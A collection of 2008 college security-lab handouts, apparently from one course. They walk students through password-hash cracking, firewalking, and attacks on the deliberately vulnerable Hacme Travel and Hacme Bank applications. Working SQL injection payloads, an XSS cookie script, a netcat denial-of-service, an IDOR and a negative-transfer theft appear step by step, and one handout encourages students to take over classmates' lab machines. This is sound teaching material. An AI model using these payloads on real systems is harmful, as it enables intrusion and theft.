Trying the Secure Gmail Logon on the Target Machine
43. On the Target machine, in the Firefox window showing Gmail, click "Sign out".

44. On the Target machine, in the Firefox address bar, type in https://mail.gmail.com and press the Enter key.

45. On the Target machine, in the Firefox window, go to https://mail.gmail.com
46. Log in with a different Gmail account.  If you don't want to use your own account, use this one: User name CNIT124Target password hackmenow
Viewing Gmail on the Attacker Machine
47.  On the Vista Attacker machine, in the Firefox window, click the Refresh button.  On the right side, look at the Target IP address.  It appears, but it only shows the previous Gmail account name.  The Secure login has protected us!  

Turning in Your Project
48. Email the JPEG image to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 6 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Returning Firefox to Normal Function
49. On the Vista Attacker machine, from the Firefox window's menu bar, click Tools, Options.

50. In the Options box, click the Advanced button.  Click the Network tab.

51. In the Connection section, click the Settings button.

52. In the "Connection Settings" box, click the "Direct connection to the Internet" radio button.  

53. In the "Connection Settings" box, click OK.

54. In the Options box, click OK.
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Last Modified: 8-5-08
What You Need for This Project
· A computer running Windows Vista.  It can be a real or virtual machine.

Starting the Vista Machine
1. If you are working in S214, boot your PC to Vista and log in as Student.  This will be your Attacker machine.  
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If there is a password, try P@ssw0rd.  If that doesn't work, use the Ultimate Boot CD to create a new administrator account for yourself.  Everyone using computers in S214 has been warned that their machine may be hacked.  Of course, don't delete their homework files or anything nasty, but have no reluctance to create admin accounts and use their machines.

Creating a Test Password to Crack

2. Click Start, right-click Computer, and click Manage.  In the "User Account Control" box, press Alt+C or click Continue.

3. In Computer Management, in the left pane, expand the Local Users and Groups container.

4. In the left pane of Computer Management, right-click Users and click New User.

5. In the NewUser box, enter a user name of YourNameTest 
6. In the NewUser box, in both Password boxes, enter a four-letter password such as abcd and click Create. Click Close.  Close Computer Management.

Downloading ophcrack
7. Open Firefox and go to sourceforge.net/projects/ophcrack
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Click the green "Download ophcrack" button.  
9. On the next page, in the Packages column, find the ophcrack line, as shown to the right on this page.  Click the "Download" button in the ophcrack line.
10. On the next page click the "ophcrack-win32-installer-2.4.1.exe" link.  Save the ophcrack-win32-installer-2.4.1.exe file on your desktop.  

Installing ophcrack

11. Double-click the ophcrack-win32-installer-2.4.1.exe file to your desktop.  In the "User Account Control" box, press Alt+A or click Allow.

12. In the "Welcome to the ophcrack Setup Wizard" box, click Next..  

13. In the "Select Destination Location" box, click Next..  

14. In the "Select Components" box, click the "Continue without installing the tables" button, as shown below on this page, and click Next.  This will install Ophcrack so that we can capture the local password hashes, but we won't be able to crack them with Ophcrack.  That's OK, we will be using Elcomsoft Distributed Password Recovery to crack the hashes.

[image: image57.jpg]cme Travel v1.0| Agent1 - Normal
Edt Actions About

Create Reservatian
CresteReport >

Ext
From: A Departing on




[image: image58.jpg]indstone

¥
Foundston

Agent Name: frelyLonglseriamelang
Agent Password e —
Tyee Nomal -



 

15. In the "Select Start Menu Folder" box, click Next..  

16. In the "Ready to Install" box, click Install..  

17. In the "Completing the ophcrack Setup Wizard" box, click Finish..  

Capturing the Local Password Hashes with ophcrack

18. Click Start, "All Programs", ophcrack.  Right click ophcrack and click "Run as Administrator".  In the "User Account Control" box, press Alt+A or click Allow.

19. In the ophcrack window, click the Load button.  In the drop-down list, click "From local SAM".

20. A list of usernames appears, as shown to the right on this page.  No hashes are visible, but they were captured.  
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21. In the ophcrack window, click the "Save As" button.  In the box that appears, enter a name of YOURNAME.pwdump as shown to the right on this page.  Click the "Browse for other folders" link and click Desktop.  Click the Save button. 
22. Close ophcrack.

Viewing the Password Hashes

23. On your desktop, right-click the YOURNAME.pwdump file and click Open.  In the Windows box, click "Select a program from a list of installed programs".  Click OK.

24. In the "Open With" box, double-click Notepad.
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A file opens with user names and password hashes.  Delete all the lines except the YourNameTest line, as shown below on this page.  Click File, Save to save the file.  Close Notepad.
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Downloading Elcomsoft Distributed Password Recovery
26. Open Firefox and go to elcomsoft.com
27. In the center of the page, click the yellow "PASSWORD RECOVERY SOFTWARE" link.  
28. On the next page, scroll down to the "Elcomsoft Distributed Password Recovery" section, as shown to the right on this page.  Click the "Learn more about…" link.
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29. On the next page scroll down to the "Download" links, as shown to the right on this page.  Click the "Download EDPR 2.10.142 - server, console and agent (10,103K)" link.  Save the epdr_setup.exe file on your desktop.  

30. Double-click the epdr_setup.exe file on your desktop.  Install the software with the default options.  

Running Elcomsoft Distributed Password Recovery
31. When the software is installed, it will run.  A large "Elcomsoft Distributed Password Recovery" window opens.

32. In the "Elcomsoft Distributed Password Recovery" window, click the "+ New Task" button.
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In the "Select Document" box, double-click the YOURNAME.pwdump file.

34. In the "Select Object" box, click NTLM.  Click OK.

35. In the "Elcomsoft Distributed Password Recovery" window, click the "► Start" button.

36. Wait a minute or two.  The progress percentage should increase, and the status should change to recovered.  
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Click the YOURNAME.pwdump line.  In the middle of the window, click the Result tab.  You should see the password, as shown to the right on this page.

Capturing a Screen Image
38. Make sure you can see the recovered password on the Result tab.

39. Press the PrintScrn key in the upper-right portion of the keyboard.  

40. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

41. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 7. 

Turning in Your Project
42. Email the JPEG image to me as an attachment to an e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 7 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.


Last Modified: 8-5-08
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What You Will Need
· Two routers
· A computer that can boot from CD (almost all of them can)
· A Backtrack 2 Live CD
Choose Your Access Point/Router

1. There are four Access Point/Routers available in S37: Linksys, D-Link, Belkin, and Buffalo.  Choose one to be your Target Router.  If possible, use a Belkin router, because I wrote the instructions for that one.  But the steps should be similar for any router.

2. The Destination Router you will use is already installed in the closet in S214 and does not need to be moved.

Wiring Your Network

3. Wire your network as shown below, with these steps:

a. Unplug the blue cable from your computer, and plug that cable into the WAN port of your router (labeled the Target Router below).

b. Connect your computer to a LAN port on the Target Router with a patch cord
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Restoring the Router to Factory Default Settings (Firewall Off)

4. Find the reset button on the router, on the back or the bottom.  Press the button with a paper clip and hold it in for ten seconds.  This resets the router back to its factory default settings.  By default, the firewall will be off.

Getting the BackTrack 2 CD 

5. You need a BackTrack 2 CD.  Your instructor handed them out in class.  If you are working at home, you download it from

http://www.remote-exploit.org/backtrack.html
Booting the Computer from the BackTrack 2 CD 

6. Insert the bt2 CD and restart your "Hacker Computer".  If it won't boot from the CD, press F2 to enter the BIOS settings page and set it to boot from the CD.  If it asks for a BIOS Password, press the Enter key.

7. You should see a message beginning ISOLONUX.  At the boot: prompt, press the Enter key.  Several pages of text scroll by as Linux boots.

8. When you see a page with a bt login: prompt, type in this username and press the Enter key:

root
9. At the Password: prompt, type in this password and press the Enter key:

toor 
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At the bt ~ # prompt, type in this command and press the Enter key:

xconf
11. At the bt ~ # prompt, type in this command and press the Enter key:

startx

12. A graphical desktop should appear, with a start button showing the letter K on a gear in the lower left, as shown to the right on this page.  

Checking the IP Address 

13. Click the Konsole button, as shown to the right on this page.

14. In the "Shell – Konsole" window, type in this command, and then press the Enter key:

ifconfig
15. In the results, find the "inet addr" for the eth0 device.  This can be any number, but it must not start with 192.168.1.  If it does, you are using the Linksys router (see below).

16. If you are using the Linksys router, you must do the following steps.  If you are using a different router, skip the next section.
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Adjusting the IP Address Range on the Linksys Router

17. Disconnect the blue cable from the WAN port on the Linksys router.  Leave the patch cord connected, so the BackTrack 2 computer can access the Linksys Router.
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Click the Firefox button.  Go to this address: 192.168.1.1
19. A box pops up asking for a user name and password.  Leave the User Name blank and enter a password of admin
20. In the Linksys page, on the Setup tab, change the Local IP Address to 192.168.10.1, as shown to the right on this page.

21. Scroll to the bottom of the page and click the Save Settings button.

22. A popup box appears saying “Next time, log in the router with the new IP address”.  Click OK.

23. Restart the computer from the front panel reset button and boot from the Backtrack CD again.  Log in as root with password toor.  Enter the xconf and startx commands again.

24. Replace the blue cable in the WAN port on the Linksys router.

25. Click the Konsole button.

Finding Your IP Address and Default Gateway

26. In the "Shell – Konsole" window, type in this command, and then press the Enter key:

ifconfig
27. In the results, find the "inet addr" for the eth0 device.  This is your computer's IP address—write it in the IP section at the bottom left of the diagram on the first page.
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In the "Shell – Konsole" window, type in this command, and then press the Enter key:

route 
29. In the results, find the "default" line, as shown to the right on this page.  The address shown there is your Default Gateway—write it in the "Target Router LAN-Side IP" section at the bottom center of the diagram on the first page.

Running a traceroute

30. In the "Shell – Konsole" window, type in this command, and then press the Enter key:

traceroute 192.168.1.1
31. You should see results like those shown to below on this page, reaching the destination in 2 hops.  The IP addresses should be the Target Router first, then the Destination Router, in agreement with the diagram on the first page of these instructions.  Note: the Destination Router address in the figure is different from the one in S214.
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Firewalking with No Firewall On

32. In the "Shell – Konsole" window, type in this command, and then press the Enter key:

firewalk –pTCP –S80-90 192.168.10.2 192.168.1.1

Replace 192.168.10.2 with the "Target Router LAN-Side IP" address you wrote at the bottom center of the diagram on the first page.  The last address is the Destination Router.

-pTCP specifies that the TCP protocol will be used.
-S80-90 specifies that TCP ports 80 through 90 will be sent.

33. You should see results like those below on this page.  If you see "0 packets sent" instead, try repeating the traceroute command, and then repeating the firewalk command.

34. Your results should show that all ports scanned are Open – that means that the Target Router passed the packets on to the Destination Router.  Some of them are labelled "(port listen)" and others are labelled "(port not listen)".  The listening status of the ports tells you information about the Destination Router, but it's not the main point of Firewalk to gather that information.  The purpose of Firewalk is to find the filtering rules of the firewall on the Target Router, and at the moment the firewall is off so all the ports are Open.  The A! indicates that the Destination Router is only one hop past the Target Router.
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Saving the Screen Image on the Desktop
35. On the Hacker Computer, from the Backtrack 2 desktop, click Start, Screenshot.

36. In the Screenshot window, click the "Save As…" button.

37. In the "Save as – Screenshot" window, in the unlabelled box on the upper right, click the arrow and select /root/desktop.
38. In the "Save as – Screenshot" window, in the Location: box, type in a filename of 
Yourname-Proj 8a.jpg
39. Click the Save button.  Your file should appear on the desktop.

Turning On the Firewall – Blocking TCP Ports 85 Through 90

40. [image: image74.jpg]» Transfer Funds

» Requesta Loan

1 Postad Messages

[ v—




Click the Firefox button.  Type the "Target Router LAN-Side IP" address you wrote at the bottom center of the diagram on the first page into the Firefox address bar.   Press the Enter key.  You should see a router administration page, sometimes preceded by a login box.

41. The following instructions were written for the Belkin router.  The other routers have similar screens, but the steps will vary somewhat.  For your convenience, I have listed the router user names and passwords in the box to the right.

Steps for the Belkin Router

42. You should have a Belkin page open in Firefox.  In the upper right, click the “Log in” button.  

43. A Login screen appears.  Leave the Password box empty and click the Submit button.  

44. On the left side of the screen, click “Client IP Filters”.  
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In the "Firewall > Client IP Filters" screen, configure a filter as shown below on this page, to affect all clients (address 2 through 254), ports 85 through 90, TCP, Always, and check the box at the far right to Enable the rule.

46. Scroll to the bottom of the page and click “Apply Changes”. 
Firewalking with the Firewall On

47. In the "Shell – Konsole" window, type in this command, and then press the Enter key:

firewalk –pTCP –S80-90 192.168.10.2 192.168.1.1

Replace 192.168.10.2 with the "Target Router LAN-Side IP" address you wrote at the bottom center of the diagram on the first page.
48. You should see results like those below on this page, showing that ports 80 through 84 are Open, and ports 85 through 90 show no response.  This shows the filtering rules you set on the Target Router.
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Saving the Screen Image on the Desktop
49. On the Hacker Computer, from the Backtrack 2 desktop, click Start, Screenshot.

50. In the Screenshot window, click the "Save As…" button.

51. In the "Save as – Screenshot" window, in the unlabelled box on the upper right, click the arrow and select /root/desktop.
52. In the "Save as – Screenshot" window, in the Location: box, type in a filename of 
Yourname-Proj 8b.jpg
53. Click the Save button.  Your file should appear on the desktop.

Turning in your Project

54. In Firefox, go to a Web-based email service you feel comfortable using in S214 – it should be one with a password you don't use anywhere else.

55. Email the JPEG images to me as attachments.  Send the message to cnit.123@gmail.com with a subject line of Proj 8 From Your Name.  Send a Cc to yourself.
Credits
I got a lot of this from "Use Firewalk in Linux/UNIX to verify ACLs and check firewall rule sets", by Lori Hyde, from this URL (link Ch 903 on my Web page):

http://articles.techrepublic.com.com/5100-6350_11-5055357.html

Last modified 8-5-08
What You Need for This Project
· The DVD containing the virtual machine "Hacme Travel", or a machine you prepared yourself with Hacme Bank and Hacme Travel installed on it (see the Sources section at the end of this project)

· Any computer that can run a virtual machine, with VMware Player or VMware Workstation

Copying the Virtual Machine to the Hard Drive
1. You cannot run a virtual machine directly from the CD.  Copy the "Hacme" folder from the virtual machine into the folder on the VMs drive with your name on it.
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Start the virtual machine as usual.

Starting the Hacme Travel Web Application

3. Click Start, "All Programs", "Foundstone Free Tools", "Hacme Travel 1.0", "Start Foundstone Hacme Travel Server.bat".  A Command Prompt window opens and closes again immediately.

4. Click Start, "All Programs", "Foundstone Free Tools", "Hacme Travel 1.0", "Hacme Travel Agent v1.0".  
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A login box opens, as shown to the right on this page.  Try entering any name and password and click the Login button.  

6. You get an error message, as shown to the right on this page.  Click OK.
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Bypassing the Logon With SQL Injection

7. Enter a "Agent Name" of:

Sam' or 1=1 --

8. Enter anything in the "Agent Password" field and click the Login button.
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A page opens titled "Foundstone Hacme Travel v1.0 | Sam' or 1-1 -- - Administrator", as shown to the right on this page.  You are now logged in with Administrative privileges.

Creating a New Agent
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In the "Foundstone Hacme Travel v1.0 | Sam' or 1-1 -- - Administrator" page, click File, "Create Agent".

11. In the "Create New Agent" box, enter an "Agent Name" of Agent1 and a password of password, as shown to the right on this page.  Verify that the Type is set to Normal.  Click the Create button.  A box pops up saying "Successfully created the agent."  Click OK.

12. In the "Foundstone Hacme Travel v1.0 | Sam' or 1-1 -- - Administrator" page, click File, Exit.

Logging in as Agent1
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Click Start, "All Programs", "Foundstone Free Tools", "Hacme Travel 1.0", "Hacme Travel Agent v1.0".  A login box opens.

14. Enter "Agent Name" of Agent1 and a password of password.  Click Login.

15. An " Foundstone Hacme Travel v1.0 | Agent1 – Normal" window opens, as shown to the right on this page.  The agent account exists, but it's not an Administrator.

16. Click the File menu item.  Note that the "Create Agent" item is grayed out—this shows that you are not an Administrator.

17. Click File, Exit.

Bypassing the Login With SQL Injection Again

18. Click Start, "All Programs", "Foundstone Free Tools", "Hacme Travel 1.0", "Hacme Travel Agent v1.0".  

19. Enter a "Agent Name" of:

Sam' or 1=1 --

20. Enter anything in the "Agent Password" field and click the Login button.  You are now logged in with Administrative privileges.

Using a Buffer Overflow to Create an Administrator Agent (Privilege Escalation)
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In the "Foundstone Hacme Travel v1.0 | Sam' or 1-1 -- - Administrator" page, click File, "Create Agent".

22. In the "Create New Agent" box, enter an "Agent Name" of ExtremelyLongUserNameLong and a password of password, as shown to the right on this page.  Verify that the Type is set to Normal.  Click the Create button.  A box pops up saying "Successfully created the agent."  Click OK.

23. In the "Foundstone Hacme Travel v1.0 | Sam' or 1-1 -- - Administrator" page, click File, Exit. 
Logging in as ExtremelyLongUserNameLong
24. Click Start, "All Programs", "Foundstone Free Tools", "Hacme Travel 1.0", "Hacme Travel Agent v1.0".  A login box opens.

25. Enter "Agent Name" of ExtremelyLongUserNameLong and a password of password.  Click Login.

26. The page that opens has "ExtremelyLongUserNameLong – Administrator" in the title bar.  
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Click the File menu item.  Note that the "Create Agent" item is no longer grayed out, as shown to the right on this page.  This shows that the new agent is an Administrator.

Capturing a Screen Image
28. Press the PrintScrn key in the upper-right portion of the keyboard.  

29. click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

30. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 9a. 

31. In the "Foundstone Hacme Travel v1.0 | ExtremelyLongUserNameLong – Administrator" page, click File, Exit. 
Using Malicious Input to Create a Denial of Service

32. Click Start, "Control Panel", "Administrative Tools", Services.  You should see a "FoundstoneHacmeTravelServer" service with a Status of Started, as shown below on this page.  This is the service that the Hacme Travel Agent application connects to.  
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Here's the plan of the exploit (detailed steps follow):  We will use Task Manager to find the Process ID of the "FoundstoneHacmeTravelServer" service.  Then we will use netstat to find the port on which the service listens.  Then we will send an extremely long request to the service, properly terminated, which will crash the service.  That will result in a Denial of Service.

Finding the Process ID and Listening Port

34. Press Ctrl+Shift+Esc.  Task Manager opens.  

35. In the Task Manager menu bar, click View, "Select Columns".  Check the "PID (Process Identifier)" box.  Click OK.

36. Find the HacmeTravelServer.exe process, as shown to the right on this page.  Write the PID value in the box below on this page.  In my example, it is 1348, yours may be different.
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Click Start, Run.  Type in CMD and press the Enter key.  

38. In the Command Prompt window, type this command, and then press the Enter key:

netstat –aon
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A list of network connections appears, with the PID shown on the right side.  Find the process with status LISTENING and the PID you wrote in the box on the previous page of these instructions, as shown below on this page.  In the Local Address column there's an IP address of 0.0.0.0 followed by a colon and the port number.  In my example below, the port number is 8765.  Write your port number in the box on the previous page of these instructions.

Preparing the Attack String

40. Click Start, "All Programs", Accessories, Notepad. 

41. In the Notepad window, type in this text, and do NOT press the Enter key:

This is garbage text just to fill space

42. Press Ctrl+A to select all the text.  Press Ctrl+C to copy it to the clipboard.  Press Ctrl+V and hold it down until the screen is full of text—at least 32 lines of nonsense, with no carriage returns in it.
43. At the end of the text, type in this exact string and DO NOT PRESS the Enter key:

--END OF CLIENT REQUEST--

44. Your final attack string should look like the example below on this page.

[image: image91.jpg]Download
Version 2.03 gz o bz2 | Plugins & DBs



 

45. Press Ctrl+s to save the Notepad file.  Save it on the desktop with the filename exploit.txt
46. Click Start, Run.  Type in CMD and press the Enter key.  

47. In the Command Prompt window, type this command, and then press the Enter key:

cd desktop

This command makes the desktop your working directory.

48. In the Command Prompt window, type this command, and then press the Enter key:

nc 127.0.0.1 8765 < exploit.txt
49. Replace 8765 with the port number you wrote in the box on a previous page of these instructions.  This command opens a TCP socket to the "FoundstoneHacmeTravelServer" service, and sends the exploit text to it.
50. The command seems to hang.  Wait five seconds and then press Ctrl+C.
51. Click Start, "Control Panel", "Administrative Tools", Services.  You should see the "FoundstoneHacmeTravelServer" service with a Status field blank, as shown below on this page.  The service has stopped, resulting in a denial of service.  
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Capturing a Screen Image 
52. Press the PrintScrn key in the upper-right portion of the keyboard.  

53. click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

54. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 9b. 

Finding Hard-Coded Credentials 

55. The programmer of the HacmeTravelServer application made a serious error: he or she typed the credentials used to connect to the database directly into the program (this is called hard-coding).  This exploit is very simple: we will use the strings tool to extract the ASCII strings from the HacmeTravelServer executable file, revealing those credentials.  

56. Click Start, Run.  Type in CMD and press the Enter key.  

57. In the Command Prompt window, type this command, and then press the Enter key:

cd "\Program Files\Foundstone Free Tools"

58. In the Command Prompt window, type this command, and then press the Enter key:

cd "Hacme Travel 1.0"

These commands change the working directory to the directory containing the HacmeTravelServer.exe file.

59. In the Command Prompt window, type this command, and then press the Enter key:

strings HacmeTravelServer.exe 

60. The strings in the executable file scroll by, many screens full of them.  They are hard to use in this form, so we'll put them into a text file.  

61. In the Command Prompt window, type this command, and then press the Enter key:

strings HacmeTravelServer.exe > str.txt

Although nothing visible happens, this creates a file named str.txt with all those strings in it.

62. In the Command Prompt window, type this command, and then press the Enter key:

notepad str.txt

This command opens the str.txt file in Notepad.

63. From the Notepad menu bar, click Edit, Find.  In the Find box, in the "Find What:" field, type password and then click the "Find Next" button five times.

64. You should find text showing the User ID and Password plainly, as shown below on this page.  The User ID is HacmeUser, and the password is HacmePassword.
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Capturing a Screen Image
65. Press the PrintScrn key in the upper-right portion of the keyboard.  

66. click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

67. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 9c. 

Turning in Your Project
68. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 9 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
This is just a shortened version of a project from Foundstone.  You can find the original materials at these links:

Foundstone Documentation and Installers
http://www.foundstone.com/us/resources-whitepapers.asp  (link Ch 12a on my Web page)
http://www.foundstone.com/us/resources/whitepapers/hacmetravel_userguide.pdf  (link Ch 12b)
http://www.foundstone.com/us/resources-free-tools.asp  (link Ch 12c)

Tools
http://www.vulnwatch.org/netcat  (link Ch 12d)
http://www.microsoft.com/technet/sysinternals/Miscellaneous/Strings.mspx  (link Ch 12e)
http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx  (Process Explorer, link Ch 12f)

http://www.wireshark.org  (link Ch 12e)

Last Modified: 8-5-08
What You Need for This Project
· The DVD containing the virtual machine "Hacme Travel" that you used in the "Hacme Travel project.  

· Any computer that can run a virtual machine, with VMware Player or VMware Workstation

Copying the Virtual Machine to the Hard Drive
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You cannot run a virtual machine directly from the CD.  Copy the "Hacme" folder from the virtual machine into the folder on the VMs drive with your name on it.

2. Start the virtual machine as usual.

Starting the Hacme Bank Web Application

3. Click Start, "All Programs", "Foundstone Free Tools", "Hacme Bank 2.0", "Hacme Bank WebSite 2.0".

4. Internet Explorer opens, showing the Hacme Bank login page, as shown to the right on this page.

5. There are three customers already set up:

Username
Password

jv

jv789

jm

jm789
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jc

jc789

6. Enter a valid username and password and click the Submit button.  The Web application opens as shown below. 

Features of the Web Application

7. Click each link and explore the application.  Very brief descriptions are given below.  For much more complete information, see the Sources section at the end of these instructions.  

· Transfer Funds from one account to another.  Each user has at least 2 bank accounts.

· Request a Loan—all valid requests are automatically approved.

· Posted Messages—a user forum

· Change Password
· My Accounts
· View Transactions
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Admin Interface—advanced features to customize the application.  We won't be using it.

Bypassing the Logon with SQL Injection

8. If you are still logged in, click the logout button.

9. Enter a "Username" of:

' or 1=1 --

10. Leave the Password blank and click the Submit button.
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The Welcome screen shows that we are now logged in as Joe Vilella.  Since the SQL injection condition was always true, we just ended up with the first user name in the table. 

12. Click the Logout button.

Finding a Table and Column Name

13. Enter a "Username" of:

' HAVING 1=1 -- 
14. Leave the Password blank and click the Submit button.

15. You get an error message saying "Column 'fsb_users.user_id" is invalid…", as shown to the right on this page..  This overly informative error message has just revealed to us these crucial facts:

a. The name of the table storing login information is fsb_users
b. The fsb_users table contains a column named user_id
Finding Additional Column Names (Database Enumeration)

16. With some versions of SQL, there is a more complex injection that will actually display all the field names in the table in the error message.  But that doesn't work with the version installed in the Hacme virtual machine.  There are brute-force tools such as SQLBrute to perform brute-force attacks to find them.  But that's all too much work for this project, so I will just tell you the other field names.  

Table fsb_users has the columns user_id, user_name, login_id, password, creation_date
Inserting a Record into the fsb_users Table

17. In the Hacme virtual machine, click Start, All Programs, Accessories, Notepad.  

18. Type this text into Notepad without pressing the Enter key:

'; INSERT INTO FSB_USERS (user_name, login_id, password, creation_date) VALUES('HAX0R12', 'HACKME12', 'EASY32', GETDATE());--
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Click the Submit button.  The response is "Invalid Login", but that doesn't matter—it executed the insertion!

20. Enter a Username of HACKME12 and a password of EASY32
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Click the Submit button.  If you see a "Session Timed Out" message, just log in again with the same name and password.  You should see a page showing you logged in as HAX0R32, as shown to the right on this page.

Capturing a Screen Image
22. Press the PrintScrn key in the upper-right portion of the keyboard.  

23. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

24. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 10a. 

25. Click Logout. 
Horizontal Privilege Escalation (Accessing Another User's Records)
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Enter a Username of jc and a Password of jc789
27. Click the Submit button.  A Welcome screen opens, showing that you are authenticated as "Jane Chris".

28. Click the "My Accounts" tab.  The "My Account Information" section shows four accounts, with account numbers ending in 5, 6, 7, and 8, as shown to the right on this page.

29. In the first line, with the account number ending in 5, click the "View Transactions" link. 
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Notice that the URL now ends with account_no=5204320422040005, as shown below on this page. 

31. Change the URL so the last digit is 4 instead of 5.  Click the Go button.
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Now you can see the transactions from another person's account, even though you are still authenticated as "Jane Chris", as shown below on this page.

33. Click Logout. 
Vertical Privilege Escalation (Becoming Administrator)
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Enter a Username of jc and a Password of jc789
35. Click the Submit button.  A Welcome screen opens, as shown to the right on this page.

36. Notice the URL—it ends with ?function=Welcome 
37. Click in the URL and change the word

Welcome
To

admin\Sql_Query
38. Click the Go button.  If you see a "Session Timed Out" message, just log in again with the same name and password.  

39. A Sql Query page opens, as shown below on this page.  You now have Administrative privileges.
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40. Click Logout. 
Cross-Site Scripting (XSS)

41. Enter a Username of jc and a Password of jc789
42. Click the Submit button.  A Welcome screen opens.

43. On the left side, click the "Posted Messages" link.

44. Enter any subject, and the following Message Text, as shown below on this page:
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<script> alert(document.cookie)</script>

45. Click the "Post Message" button.  (If you see a "Session Timed Out" message, just log in again with the same name and password. And re-post the message).
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A box pops up, as shown to the right on this page. 
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Capturing a Screen Image
47. Make sure the CookieLoginAttempts box is visible.

48. Press the PrintScrn key in the upper-right portion of the keyboard.  

49. click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

50. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 10b. 

Logging In as a Different User 

51. Click Logout. 
52. Enter a Username of jv and a Password of jv789
53. Click the Submit button.  A Welcome screen opens.

54. On the left side, click the "Posted Messages" link.  The CookieLoginAttempts box pops up—any user who views the messages will see it.  This is a serious vulnerability!  Script one user entered is executing on another user's browser.  This could be used to take any data visible to the browser and send it to a public location, such as a vulnerable message board on the Internet.  Before I put the image CAPTCHA on my page, I think my own comments section was being used for such a purpose.

Installing the Tamper Data Firefox Extension

55. Close Internet Explorer.

56. Open Firefox.  Click Tools, Add-ons.  In the lower right corner of the Add-ons box, click "Get Extensions".

57. In the "Firefox Add-ons" page, click in the "search for add-ons" box.  Type in "Tamper Data" and press the Enter key.

58. In the "Tamper Data" section, click the "Add to Firefox" button.

59. On the next page, click the "Accept and Install" button.

60. In the "Software Installation" box, click "Install Now" button.

61. In the Add-ons box, click "Restart Firefox" button.

62. When Firefox restarts, click Tools, Options.  On the Main tab, at the bottom right, click the "Check Now" button.

63. In the "Default Browser" box, click Yes to make Firefox your default browser.

64. Close Firefox.

65. Click Start, "All Programs", "Foundstone Free Tools", "Hacme Bank 2.0", "Hacme Bank WebSite 2.0".  Hacme Bank opens in Firefox.

Stealing Money with a Negative Funds Transfer

66. Enter a Username of jc and a Password of jc789
67. Click the Submit button.  If a "Session Timed-Out" message appears, wait for it to redirect to the home page and log in again.  If it hangs, click Start, "Turn Off Computer", "Restart" to restart the virtual machine.

68. A Welcome screen opens.

69. On the left side, click the "Transfer Funds" link.
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Notice how the security works here: you can only choose one of your accounts as the Source, but you can enter any account as the Destination if you click the "External Account" radio button.  The intention is to allow you to pay others, but not to steal from them.

71. Select the account ending in 5 as the Source.  Click the "External Account" radio button.  Enter 5204320422040004 in the lower Destination field.

72. Enter an Amount of 100 and enter a Comment of "Stealing money", as shown to the right on this page.  

73. From the Firefox menu bar, click Tools, "Tamper Data".  In the "Tamper Data – Ongoing requests" box, in the upper left, click "Start Tamper".

74. In the Hacme Bank Transfer Funds page, click the Transfer button.

75. A box pops up titled "Tamper with request?".  Click the Tamper button. 
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A large box appears, titled "Tamper Popup".  This shows all the fields that are being sent back to the bank application from the HTML form.  On the lower right, find the _ctl3%3AtxtAmt field, and change its value to -100, as shown below on this page.

77. In the "Tamper Popup" window, click OK. 

78. A box pops up titled "Tamper with request?".  Click the Submit button. 
79. Another box pops up titled "Tamper with request?".  Clear the "Continue Tampering?" box, and then click the Submit button. 
80. Bring the Hacme Bank page to the front again.  

If you see a Login page, your transaction timed out.  You will need to repeat all the steps in the "Stealing Money with a Negative Funds Transfer" section again, faster.

81. When the transfer succeeds, you will see a red message saying "Funds successfully transferred".  There is also a red message saying "Error: Enter positive integer value", but the funds transferred anyway.

82. To see the transfer, at the top of the screen, click the "My Accounts" tab.  

83. In line for the account number ending in 5, click the "View Transactions" link.  The last transaction should be a negative amount sent to an account number ending in 4, labeled "Stealing money", as shown below on this page.
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Capturing a Screen Image
84. Make sure the "Stealing money transaction is visible.

85. Press the PrintScrn key in the upper-right portion of the keyboard.  

86. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

87. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 10c. 

Turning in Your Project
88. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 10 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
http://www.foundstone.com/us/resources-whitepapers.asp  (link Ch 12a on my Web page)
http://www.foundstone.com/us/resources-free-tools.asp  (link Ch 12c)

http://www.foundstone.com/us/resources-videos.asp  (link Ch 12h)
You can access a 74-page PDF file with much more detailed information and more exercises by clicking Start, "All Programs", "Foundstone Free Tools", "Hacme Bank 2.0", "Foundstone Hacme Bank User and Solution Guide 2.0".  You will need to install a PDF reader on the virtual machine, or drag the PDF file to the host system.


Last Modified: 8-5-08
What You Need for This Project
· A Damn Vulnerable Linux 1.0 or 1.1 ISO file (It's in the MoreVMs:\Install folder in S214, also available on my Web page on the CNIT 124 page near this Project) .  You cannot use the latest version, DVL 1.4.

· Any virtual machine, preferably running on a desktop computer without a USB mouse or keyboard (some laptops and computers with USB devices can't boot DVL 1.0 correctly)

Booting a Virtual Machine from the DVL ISO

25. Click Start, "All Programs", VMmanager, VMmanager.

26. In the VMmanager window, click the Modify button.

27. Navigate to any of your virtual machines, such as the Hacme one.

28. In the VMmanager window, click the Drives tab.  In the CD-ROM section, select "use ISO image".  In the Open box, navigate to the MoreVMs drive.  Double-click the Install folder.  Double-click the damnvulnerablelinux_1.0.isofile.

